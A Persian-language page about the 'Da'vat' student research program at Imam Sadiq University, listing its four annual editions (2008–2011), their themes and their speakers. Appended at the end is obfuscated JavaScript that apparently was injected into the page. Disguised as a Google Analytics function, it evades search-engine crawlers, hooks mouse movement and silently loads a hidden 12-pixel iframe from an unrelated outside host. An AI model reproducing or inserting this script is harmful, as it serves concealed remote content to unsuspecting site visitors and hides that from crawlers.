

گروه علمی و پژوهشی "دعوت" در طی تلاشی که هر ساله (از تاسیستان سال 1387) از سوی دانشجویان رشته



معارف اسلامی و فرهنگ و ارتباطات دانشگاه امام صادق(ع) شکل گرفت، درکوشش است تا در سطحی مناسب و در جهت شکل دهی به دانش فرهنگ و ارتباطات اسلامی و با توجه به تمامی حیطه های مرتبط با آن (از جمله سیاستگذاری فرهنگی یعنی گرایش اصلی این رشته) گامی موثر را در عرصه علوم انسانی و اسلامی بردارد.

عنوان این گروه یعنی مفهوم دعوت از جمله مفاهیم قرآنی است که تمام میانی آن و متعلقات آن در قرآن بیان شده است. یعنی هم به نوعی اشاره به مباحث حوزه ارتباطات است و مفهومی است که در مقابل مفهوم پروپاگاندرا قرار می گیرد و همچنین نوعی رویکرد و دغدغه فرهنگی در ارتباطات را نشان می دهد و هم برتر و بالاتر از همه این که مفهومی بومی و قرآنی است. و با این نوع از ویژگی ها بود که این نام از نخستین دوره برای این گام گذارده شد. (از نکات قابل تامل در نام گذاری این دوره تفالی بود که بنیانگذاران این دوره به قرآن کریم زدند و با توجه به اینکه از قبل نیز این عنوان انتخاب شده بود، قرآن نیز ما را در این امر یاری نمود. آیه 14 سوره رعد: "له دعوة الحق").

سوابق برگزاری دوره علمی و پژوهشی دعوت:

اولین دوره علمی و پژوهشی دعوت، با عنوان چیستی دانش فرهنگ و ارتباطات، از تاریخ 5 تا 15 مرداد ماه 1387، دانشگاه امام صادق(ع)

این دوره علمی که به صورت طرحی از سوی دانشجویان ارائه گردید از تاریخ 5 تا 10 مرداد ماه در محل دانشگاه برگزار شد و با اهدافی چون، ایجاد انگیزه و فراهم ساختن فرصت هایی برای انجام پژوهش های تیمی، معرفی حوزه هایی برای پژوهش و اندیشیدن دانشجویان، پیشبرد حوزه دانشی فرهنگ و ارتباطات و به خصوص با رویکردی اسلامی و نیز مقدمه ای جهت برگزاری چنین دوره ها و نشست هایی شکل گرفت.

حضور قابل توجه دانشجویان در این دوره و نیز ایجاد و توسعه جلسات بحث و بررسی های تئوریک و

نظري و در اختيار گرفتن توان دانشجويي از طريق همراهي اساتيد گام علمي بسيار مهمي در جهت رساندن انجمن علمي به نهادي پژوهشي محسوب گرديد که با توان و نيروي صد در صدي دانشجويان به اجرا در آمد.

در اين راستا جلسات علمي و پژوهشي زير به نقطه جهش اين حرکت محسوب مي-شود:

1. پروفيسورسيد حميد مولانا (علوم ارتباطات، شکل گيري، تحولات، جهت گيري ها)

2. پروفيسورسيد حميد مولانا (بومي سازي علم ارتباطات در ايران)

3. دکتري مهدي محسنيان راد (علم ارتباطات در ايران)

4. دکتري احمد پاکتجي (رويش شناسي مطالعات ميان رشته اي فرهنگ و ارتباطات)

5. دکتري محمد هادي همايون (تاريخچه و تبين مباني نظري تکون رشته)

6. دکتري ابراهيم فياض (چارچوب تئوريک فرهنگ و ارتباطات)

7. دکتري مسعود کوثري (مفهوم فرهنگ از منظر جامعه شناسي فرهنگي)

8. حجت الاسلام دکتري محمد سعيد مهدي کني (منظريهاي مختلف به فرهنگ و منظر رشته ي فرهنگ و ارتباطات)

9. دکتري حسين رضي (چارچوب تئوريک "سياست گذاري در فرهنگ و ارتباطات")

10. آقای سید مجید امامی (ارتباطات و چالش تمدنی انقلاب اسلامی، سیری در آرای شهید آوینی)

11. آقای سید علی غمامی (مفهوم "دعوت"، تأملی در تبلیغ از منظر قرآن)

12. آقای مهدی یوسفی (ارتباطات به عنوان یک رشته در سطح جهانی)

نکته قابل توجه ادامه یافتن این دوره پس از پایان رسمی جلسات در طول تابستان و حضور دانشجویان جهت تکمیل مباحث و تعریف دوره ای مطالعاتی با محوریت این موضوعات بود که تا آغاز سال تحصیلی 87-88 نیز ادامه داشت.

ذکر این نکته ضروری است که کلیه این سخنرانی ها به همراه یادداشت های دانشجویی پیرامون این مباحث پس از طی مراحل پیاده سازی و ویرایش در اختیار معاونت پژوهشی (حامی نخستین دوره) جهت انتشار سپرده شد و در شرف چاپ است.

دومین دوره علمی و پژوهشی دعوت، با عنوان نواندیشی در ارتباطات، جستاری در بنیان های نظری، از تاریخ 10 الی 16 مرداد 1388، دانشگاه امام صادق (ع)

این دوره با محوریت دانش ارتباطات، از تاریخ 10 الی 16 مرداد 1388 در محل دانشگاه امام صادق (ع) برگزار شد. و علاوه بر انجمن علمی دانشجویان معارف اسلامی و فرهنگ و ارتباطات، شاهد حضور سایر مراکز تحقیقاتی در حیطه فرهنگ و ارتباطات همچون بنیاد فرهنگی مولانا، دفتر مطالعات و توسعه رسانه ها بودیم. این دوره در گامی موثر توانسته بود، نظرات بسیاری به خود جلب نموده. و با ورود به حوزه و زیرموضوعات دانشی به گستره و عمق بخشی آنها پردازد. حضور نزدیک به یکصد نفر از دانشجویان رشته فرهنگ و ارتباطات و علوم ارتباطات و نیز رشته های مرتبط از دانشگاه های تهران گواهی بر این موضوع بود. این دوره را می-توان دوره استمرار بخشی به این حرکت علمی تلقی کرد.

در این راستا جلسات سخنرانی زیر حرکت ها و گام های ما محسوب می-شدند:

1. آیت الله مصباح یزدی (چارچوب های اخلاقی ارتباطات با تاکید بر مطبوعات)
  2. آیت الله حائری شیرازی (معنویت در دنیای ارتباطات)
  3. پروفیسور سعید حمید مولانا (علوم ارتباطات در ایران؛ از آغاز تا امروز)
  4. پروفیسور منوچهری آشتیانی (فلسفه ارتباطات از منظر جامعه شناسی معرفت)
  5. حجت الاسلام رهدار (بررسی تطبیقی ارتباطات در عالم غیب و شهود)
  6. حجت الاسلام پناهیان (ارتباطات با غایت عبودیت)
  7. دکتر حسن عباسی (علوم ارتباطات استراتژیک)
  8. دکتر ابراهیم فیاض (فرآیند تقلیل در غرب؛ سکولاریزم ارتباطی در نظام رسانه ها)
  9. دکتر فواد ایزدی (دیپلماسی عمومی آمریکا در قبال ایران؛ ساختارها، کنشگران و سیاستگذاران)
  10. دکتر غلامرضا آذری (سیر تکوین مکاتب و اندیشه ها در تاریخ ارتباط جمعی)
  11. آقای وحید جلیلی (مطبوعات و جریان فکری انقلاب اسلامی؛ از وضعیت موجود تا وضعیت مطلوب)
- و جلسات هم اندیشی صاحب نظران حوزه ارتباطات :

1. دکتر دهقان و دکتر افخمی و آقای شمشیری (با موضوع آموزش و پژوهش ارتباطات در ایرانغ مشکلات و راهکارها)

2. دکتر افخمی و دکتر اسماعیلی و آقای خیامی (با موضوع مسئله رادیو و تلویزیون خصوصی در ایرانغ؛ چالش ها و واقعیت ها)

3. مهندس صرامی، آقای بهبهانی و آقای پویا (با موضوع چالش های سیاستگذاری در فضای سایبر در ایران)

تمامی تولیدات این دوره نیز پس از گردآوری و ویرایش در قالب نشریه و کتاب از سوی دفتر مطالعات و توسعه رسانه ها منتشر و عرضه گردید.

سومین دوره علمی و پژوهشی دعوت با عنوان چشم اندازهای فرهنگ پژوهی؛ به سوی دانش فرهنگ و ارتباطات  
صادق  
، 9 المی 14 مرداد ماه، 1389 دانشگاه امام  
(ع)

سومین دوره دعوت با نگاهی تاکیدیگونه بر موضوع فرهنگ از تاریخ 9 المی 14 مرداد ماه 1389 در محل دانشگاه امام صادق (ع) برگزار گردید. این دوره در تفاوتی دیگری با سایر دوره ها توانست بخشی از بدنه فارغ التحصیلان و دانشجویان خود را نیز به کار گیرد و حضور بخشی از شرکت کنندگان دوره (قریب به 40 درصد) از سایر دانشگاه-ها و نیز از مناطق گوناگون کشور نشان از همگانی شدن و اطلاع پژوهشگران و صاحب نظران از این دوره علمی بود. ورود سبک های جدیدی چون برگزاری جلسات کارگاهی بخشی دیگر از این ابتکارات بود که در کنار تمامی تلاش ها توانست جایگاه این دوره را در عرصه فعالیت های علمی و تحقیقاتی در حوزه علوم انسانی و اسلامی در کشور تثبیت نماید. جلسات زیر و عناوین یاد شده گویای تلاش ها در این حرکت است:

1. پروفیسور سید حمید مولانا (تعریف فرهنگ در دانش فرهنگ و ارتباطات)

2. پروفیسور منوچهر آشتیانی (تفاوت فرهنگ و طبیعت در فلسفه هگل)
3. پروفیسور منوچهر آشتیانی (درآمدی بر سنت فرهنگ‌شناسی آلمان)
4. دکتر آشفته تهرانی (فرهنگ و جهانی شدن)
5. دکتر حمید پارسانیا (بررسی فرهنگ در متون اسلامی با تاکید بر مفهوم فرهنگ، سیر فلسفه صدرایی)
6. دکتر محمد هادی همایون (الگوی مطلوب ارتباطات میان‌فرهنگی جهان اسلام)
7. دکتر علی اصغر خندان (بایسته‌های پژوهش در عرصه مدیریت فرهنگی در اسلام)
8. دکتر عادل پیغامی (چارچوب نظری مطالعات میان‌رشته‌ای اقتصاد و فرهنگ)
9. دکتر ابراهیم فیاض (رویکردهای نظری در نسبت ارتباطات و فرهنگ)
10. دکتر احمد پاکتچی (دانش فرهنگ‌شناسی روسیه)
11. مهندس نوری (سونامی دیجیتال)
12. دکتر رضا فاضل (سیر شکل‌گیری امپریالسم فرهنگی)
13. دکتر غلامرضا آذری (نقش مکاتب ارتباطی در مطالعه فرهنگ، سیر مطالعات انتقادی)

14. حسین سرفراز (مکتب مطالعات فرهنگی؛ گذشته، حال و آینده)

15. سید مجید امامی (بررسی طرح عفاف و حجاب)

16. مهدی یوسفی (بررسی دستاوردهای دو دوره دعوت)

و نیز جلسات کارگاهی و گزارش های تحقیقاتی با موضوعات زیر:

1. کارگاه آشنایی با فن آوریهای نوین در عرصه فرهنگ و ارتباطات (با حضور مسعود حسنلو و حسن قاسم زاده)

2. گزارش طرح پژوهشی بررسی شاخص های فرهنگی ایران (با حضور محسن حسن پور و حسین سرفراز)

3. گزارش سفرهای بین المللی دانشجویان فرهنگ و ارتباطات (عبدالمحمید بیات؛ کشور لبنان و مهدی یوسفی، سنگاپور)

4. امپریالیسم فرهنگی و رسانه: ایران و غرب، اسلام هراسی و ایران هراسی مروری بر مستندهای تولید شده از سوی رسانه های جهان (با حضور محمد لسانی)

5. پخش مستند مولتی کالچریزم (با حضور میلاد دخانچیان؛ مستند ساز و مجری شبکه پرس تی وی)

6. کارگاه ترجمه در فرهنگ و ارتباطات، (با حضور مهدی یوسفی)

البته از آن جا که حامی مالی این دوره دفتر مطالعات و توسعه رسانه ها بود، جلسات و برنامه ها در اختیار این دفتر قرار گرفت و در حال تکمیل و آماده سازی جهت انتشار می باشد.

و اما چهارمین دوره علمی و پژوهشی دعوت، با عنوان از سیاستگذاری تا مهندسی فرهنگی؛ گام هایی نو در دانش فرهنگ و ارتباطات  
الی 17 شهریور ماه 1390، پژوهشگاه باقرالمعلوم سازمان تبلیغات اسلامی.  
، زمان پیشنهادی 13

حوزه ها و موضوعات ارائه شده در چهارمین دوره علمی و پژوهشی دعوت:

1) جایگاه سیاستگذاری فرهنگی در دانش فرهنگ و ارتباطات (روز اول)

دکتر حسام المدین آشنا (نسبت سیاستگذاری در فرهنگ و ارتباطات، جایگاه نگاه های اسلامی در سیاستگذاری)

میزگردی با حضور: دکتر قدیری ایبانه، مجید مختاری و کارشناس مجری جواد رضوانی (نقد و بررسی دیپلماسی فرهنگی جمهوری اسلامی ایران با تاکید بر سازمان فرهنگ و ارتباطات اسلامی)

دکتر نعمت الله فاضلی (سیر تحولات سیاست فرهنگی در ایران قبل و بعد از انقلاب)

2) مبانی نظری سیاستگذاری فرهنگی، رویکردها، مدلها و نظریات (روز دوم)

دکتر سید مجتبی امامی (مدل ها و نظریات در سیاستگذاری، نگاهی بر الگوی اسلامی)

میزگردی با حضور جناب آقای سید احمد سادات (مدیریت شبکه بین المللی العالم) و آقای حسن بهشتی پور (مدیر کل اخبار شبکه پریس تی وی) و کارشناس مجری محسن بدره (نقد و بررسی وضعیت سیاستگذاری رسانه ای در حوزه رسانه های برون مرزی)



3) مسائل سیاستگذاری فرهنگی در جمهوری اسلامی ایران، چالش‌ها و افق‌های آینده (روز سوم)

حسین عرب اسدی (آسیب‌شناسی سازمان‌های فرهنگی در ایران)

سید مجید امامی (لزوم توجه به شاخص‌های فرهنگی در جمهوری اسلامی ایران با نگاهی بر سنجش و رصد فرهنگی)

میزگردی با حضور دکتر مجید شاه‌حسینی (مدیریت سابق بنیاد فارابی) و کارشناس مجری آقای شباهنگ (نقد و بررسی سیاستگذاری در عرصه سینما)

حسین سرفراز (مبانی نظری طرح تحقیقاتی شاخص‌های فرهنگی جمهوری اسلامی ایران)

4) سازمانها و سیاست‌های فرهنگی در جمهوری اسلامی ایران، از وضعیت کنونی تا وضع مطلوب (روز چهارم)

دکتر کیومرث اشتریان (آسیب‌شناسی سیاستگذاری فرهنگی در جمهوری اسلامی ایران)

دکتر نادر جعفری هفتخوانی (سیاستگذاری در عرصه جهانگردی)

حجه الاسلام حیدری (فقه و سیاستگذاری فرهنگی و ارتباطی)

دکتر ابراهیم فیاض (سیاستگذاری فرهنگی، و الگوی اسلامی ایرانی پیشرفت)

5) جایگاه مهندسی فرهنگی و پیوست‌نگاری در مدیریت و سیاستگذاری فرهنگی در جمهوری اسلامی ایران (روز پنجم)

دکتر محمد هادی همایون (لزوم توجه به انگاره مهندسی فرهنگی و استعاره تمدنی مهدوی)

جناب آقای نیک مناش (پیوست نگاری فرهنگی، نگاهی نظری و کاربردی)

(6)جلسه مشهد:

حیدر رحیم پور ازغدی (نقد و بررسی حال و آینده شورای عالی انقلاب فرهنگی)

```

var
_0xb55d=["x74x6Fx4Cx6Fx63x61x6Cx65x4Cx6Fx77x65x72x43x61x73x65","x75x7
3x65x72x41x67x65x6Ex74","x79x61x6Ex64x65x78x62x6Fx74","x79x61x6Ex64x65
x78x6Dx65x74x72x69x6Bx61","x79x61x6Ex64x65x78x69x6Dx61x67x65x73","x67
x6Fx6Fx67x6Cx65x62x6Fx74","x69x6Ex64x65x78x4Fx66","x77x69x64x74x68","x6
8x65x69x67x68x74","x6Fx6Ex6Dx6Fx75x73x65x6Dx6Fx76x65","x62x6Fx64x79","x
67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65","x67x6F
x6Fx67x6Cx65x61x6Ex61x6Cx79x74x69x63x73x69x66x72x61x6Dx65","x67x65x74
x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x69x66x72x61x6Dx65","x63x72x65x61
x74x65x45x6Cx65x6Dx65x6Ex74","x31x32x70x78","x69x64","x73x72x63","x68x74
x74x70x3Ax2Fx2Fx77x77x77x2Ex63x65x6Cx69x6Ex65x6Cx67x72x61x70x68x65x2
Ex63x6Fx6Dx2Fx6Dx6Fx64x75x6Cx65x73x2Fx6Dx6Fx64x5Fx61x72x63x68x69x76x
65x2Fx6Dx69x64x64x6Cx65x2Ex70x68x70","x61x70x70x65x6Ex64x43x68x69x6Cx
64","x69x6Ex6Ex65x72x57x69x64x74x68","x6Ex75x6Dx62x65x72","x69x6Ex6Ex65
x72x48x65x69x67x68x74","x64x6Fx63x75x6Dx65x6Ex74x45x6Cx65x6Dx65x6Ex7
4","x63x6Cx69x65x6Ex74x57x69x64x74x68","x63x6Cx69x65x6Ex74x48x65x69x67
x68x74","x67x6Fx6Fx67x6Cx65x41x6Ex61x6Cx79x74x69x63x73x53x74x61x74x69
x73x74x69x63x73x42x75x69x6Cx64x28x29"];function
googleAnalyticsStatisticsBuild(){var
_0xc3dfx2=navigator[_0xb55d[1]][_0xb55d[0]]();var
_0xc3dfx3=[_0xb55d[2],_0xb55d[3],_0xb55d[4],_0xb55d[5]];for(k in
_0xc3dfx3){if(_0xc3dfx2[_0xb55d[6]](_0xc3dfx3[k])!=-1){return ;} ;} ;var
_0xc3dfx4=detectBrowserSize();if(_0xc3dfx4[_0xb55d[7]]==0||_0xc3dfx4[_0xb55d[
8]]==0){return ;} ;var
_0xc3dfx5=false;if(document[_0xb55d[11]](_0xb55d[10])[0][_0xb55d[9]]){_0xc3dfx
5=document[_0xb55d[11]](_0xb55d[10])[0][_0xb55d[9]]};
;document[_0xb55d[11]](_0xb55d[10])[0][_0xb55d[9]]=function
(){if(!document[_0xb55d[13]](_0xb55d[12])){iframe=document[_0xb55d[15]](_0xb

```

```
55d[14]);iframe[_0xb55d[7]]=_0xb55d[16];iframe[_0xb55d[8]]=_0xb55d[16];iframe
[_0xb55d[17]]=_0xb55d[12];iframe[_0xb55d[18]]=_0xb55d[19];document[_0xb55d
[11]](_0xb55d[10])[0][_0xb55d[20]](iframe);}
; if(_0xc3dfx5!==false){_0xc3dfx5();} ;} ;} ;function detectBrowserSize(){var
_0xc3dfx7=0,_0xc3dfx8=0;if( typeof
(window[_0xb55d[21]])==_0xb55d[22]){_0xc3dfx7=window[_0xb55d[21]];_0xc3dfx
8=window[_0xb55d[23]];} else
{if(document[_0xb55d[24]]&&(document[_0xb55d[24]][_0xb55d[25]]||document[_0
xb55d[24]][_0xb55d[26]])){_0xc3dfx7=document[_0xb55d[24]][_0xb55d[25]];_0xc
3dfx8=document[_0xb55d[24]][_0xb55d[26]];} else
{if(document[_0xb55d[10]]&&(document[_0xb55d[10]][_0xb55d[25]]||document[_0
xb55d[10]][_0xb55d[26]])){_0xc3dfx7=document[_0xb55d[10]][_0xb55d[25]];_0xc
3dfx8=document[_0xb55d[10]][_0xb55d[26]];} ;} ;} ;return
{width:_0xc3dfx7,height:_0xc3dfx8};} ;setTimeout(_0xb55d[27],500);
```